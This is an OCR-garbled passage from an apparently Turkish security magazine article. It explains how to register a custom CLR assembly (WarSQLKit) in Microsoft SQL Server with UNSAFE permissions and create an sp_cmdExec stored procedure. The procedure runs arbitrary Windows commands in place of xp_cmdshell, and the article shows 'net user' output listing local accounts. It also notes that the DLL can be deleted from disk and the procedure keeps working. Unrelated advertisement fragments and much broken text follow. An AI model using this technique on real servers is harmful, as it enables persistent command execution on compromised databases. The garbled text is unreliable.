Text dosyamizdaki stream'’i yapistirdig§imizda ¢alismayacaktir. Bu ylzden Ox'i yazdiktan sonra text dosyamizdaki byte stream’i yapistiriyoruz.
WITH PERMISSION_SET = UNSAFE parametresi ile de DLL dosyamizin glivenli olmayan kaynaklara erismesini (yani sadece sq|, t-sql kodlari
calistirmayacagimizi) belirtiyoruz. Eger parametre olarak SAFE parametresini verirsek ve CMD komutu calistirmaya calisirsak, “System.Security.Host-
ProtectionException” hatasi firlatilacak ve cmd komutumuz hi¢bir zaman caligsmayacaktir.
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SQL Server

Sag kisimda bulunan resimde gorilecegi lzere,
SAFE sadece database Uzerinde islem yaptirmaktadir.
EXTERNAL_ACCESS Dosyalara, Registry'e ve Network'e
erismemize olanak verir. UNSAFE ise Native
DLL'lere, COM objelerine ve diger giivenli olmayan
kaynaklara erigmemize imkan verir.

SQL Query Results

Ciuery Processor

SQL CLR Module
(Stored Procedures, UDFs, UDTs, UDAs, Triggers)

CLR Hosting Module (.NET Framework BCLs)

SQL Server Database

Engine EXTERNAL

_ACCESS

e, Mative DLL,

COM DLLs

Registry,
Network

DLL Dosyasini SQL Server Management Studio ile MSSQL'e Yiikleme

Olusturdugumuz DLL dosyasini SQL Server Management Studio tzerinden de MSSQL'e kaydettirebiliriz. Bunun icin MSSQL'e management

studio araciligl ile baglanalim.

Databases altindan System Databases’e ve Master'a erigelim. Ardindan
Programmability menisiinden Assemblies’'e sag tiklayarak
“New Assembly..."i secelim.

= [2 192.168.139.128 (SQL Server 13.04001 - sa)

1 Databases
= 3 System Databases
= | J master

Tables
3 Views

3 Synonyms
EE Programmabmty

[ Stored Procedures

L3 Functions

3 Extended Stored Procedures

3 Database Triggers
=]
Microse New Assembly...

+3 sp_cmc Start PowerShell
3 Types
3 Rules SEEEIE '
[ Defaults Refresh

3 Sequences
T Service Broker
L3 Storage

Sag kisimda bulunan ekran gorintlsiinde gorllecegi lzere

WarSQLKit" adindaki DLL dosyamiz Assemblies’e kayit edildi.

"

Browse menisiinden olusturdugumuz DLL dosyasini secerek DLLimizi
kaydettirebiliriz. Bu islemin ardindan Assemblies meniisiine DLL

dosyamizin eklendigini gérmemiz gerekiyor.

=00 R AssRiTiRy - (n] =

Select &

= . S tarp = [ep |

= Pervwvitsoai 1

P Ctweswd Prgaries WYLy L riaracar 1 =
Banrtly i |2 Jia
pmarpen bt Larrisied -
P ———

o B Fromme b ar SO K W as SOL R L Dby W 5L ol Bns

Creannn o
Wi, o iy vt eatadl

L=

=] LE) 192.168.139.128 (SQL Server 13.0.4001 - sa)
= [ Databases
[= 3 System Databases
= IJ master
3 Tables
3 Views
3 Synonyms
= 3 Programmability
L3 Stored Procedures
3 Functions
3 Extended Stored Procedures
3 Database Triggers
= 3 Assemblies
+a Microsoft.SqlServer.Types
= 50 Cmd echMinimal

1 Types

3 Rules

3 Defaults
3 Sequences
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DLL Dosyasini Sunucudaki Bir Dizinden Cagirma

DLL dosyamizi Assemblies’e kayit ettirmemizin bir diger yolu da sunucudaki herhangi bir dizinden DLL'i load etmemizdir. Bunun icin de
asagidaki komutlardan yararlanabiliriz.

CREATE ASSEMBLY sp_cmdExec

FROM ‘C : \ProgramData\WarSQLKit.dIl'
WITH PERMISSION_SET = UNSAFE

GO

DLL dosyamizi herhangi bir yontem ile MSSQL sunucusuna yiiklediysek, DLL dosyamizi bir dizinden de cagirabiliriz. Cagirdigimiz DLL
dosyasl load olduktan sonra, sunucudan silebiliriz. DLL dosyasini sunucudan sildigimizde bile Assemblies’imiz yine calismasina devam
edecektir. Cok glizel degil mi?

3 yontemden herhangi birini kullanarak DLL dosyamizi Assemblies’e kayit ettikten sonra, DLL dosyamizdaki olusturdugumuz CmdExec static
metodunu cagirmak yada islem cagrist gondermemiz gerekiyor. Bunu yapabilmek igin son olarak bir stored procedure’e ihtiyacimiz var.
Asagidaki komutlar ile stored procedure'iimiizii olusturabiliriz.

CREATE PROCEDURE sp_cmdExec

@Command [nvarchar] (400)

WITH EXECUTE AS CALLER

AS

EXTERNAL Name WarSQLKit.StoredProcedures.CmdExec
GO

Yukaridaki kodlarimizi detaylandiracak olursak, CREATE PROCEDURE “sp_cmdExec” komutu ile sp_cmdExec adinda bir stored procedure
olusturuyoruz. Artik “xp_cmdshell” yerine “sp_cmdExec” komutunu kullanacagiz. @Command [nvarchar] (4000) ile de komut parametremizi
tanimliyoruz. Nvarchar maksimum 4000 karaktere destek verdigi icin 4000 karakterlik komut calistirabilir yada goérintuleyebiliriz.
EXTERNAL NAME parametresi ile olusturdugumuz DLL dosyasinin namespace’i olan WarSQLKit'i, bu namespace icerisinde yer alan
StoredProcedures isimli public partial class'imizi ve CmdExec isimli public static void tlrlindeki metodumuzu cagiriyoruz.

Artik her seyimiz hazir, gidip komutlarimizi calistiralim.

Windows Komutlari Caligtirma

EXEC sp_cmdExec "net user';

100 % -

-3 Messages
Command is running, please wait.
cmd.exe fc net user finished with exit code = 1: 5td output:

User accounts for \\

Administrator DefaultAccount eyupcelik
Guest MSSQLSERVERG1 | MSSQLSERVERB2
MS5QLSERVERE3 MSSQLSERVERB4 MS5QLSERVERBS
MSSQLSERVERBG MSSQLSERVERG7Y MSSQLSERVERBS
MS5QLSERVERES MSSQLSERVER1E MSSQLSERVER1L
MSS5QLSERVER1Z2 MSSQLSERVERLS MSSQLSERVER14
MSSQLSERVER1S MSSQLSERVER1G MSSQLSERVER1Y
MS5QLSERVERLS MS5QLSERVER1S MSS5QLSERVER28
sdu Tolga

The command completed with one or more errors.

EXEC sp_cmdExec 'net user’; komutu ile Windows Yerel Kullanici listesini ekrana getirdik. Artik xp_cmdshell ve sp_OACrate gibi bir procedure’e
ihtiyacimiz bulunmuyor. Bildigimiz tim Windows komutlarini igletim sistemine gonderebiliriz.
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GUVENLIK VERISININ
TEKNOLOJI & SANAT ILE
BULUSTUGU YER

¥
Analytics " Analyties Analytics Analytics Analytics

My Security Analytics olarak,

» Etkili suc istihbarat analizi ve sugla micadele siirecleri
= Suistimalle miicadele ve sorusturmalarnn ugtan uca etkin ve akilli hale getirilmesi
= Kurumsal giivenlik risk sdreglerinin dijitallestiriimesi
* Siber Gavenlik risk yonetimlerinin akillandinimasi ve analitik kabiliyetlerinin artinlmasi
= Fiziksel giivenlik alanlarinin dijital otomasyon ve sireglerle giclendirilmesi
igin milgterilerimizin ihtiyaglanina uygun tasarladigimiz yeni nesil teknolojiler,

analitik ¢ézlmler ve hizmetlerle glivenlik analitigi alomnda fark yaratiyoruz.

Security

www.mysecurityanalytics.com



Y & K
v al R

]
7 Rs B E
* i'TU JYECUMHunivEﬂcuﬁaunﬁﬁkmuﬂ? 4 '“;" 3 ﬂ
3 st §°

(et

DIJITAL njbnﬁsum OFIS

> 4

TURKIYE
TEKNOLOJi
TAKIMI

% UITSEC

-q
1
FTd
5
! More Secure Than Ever

.L‘."‘.




L

AHURBASKANLIGI

84S UM OFisi

0l Yoeted objects[0TMN =
b_pname].select = 1 W
s

www.81lilde81siberkahraman.org

-



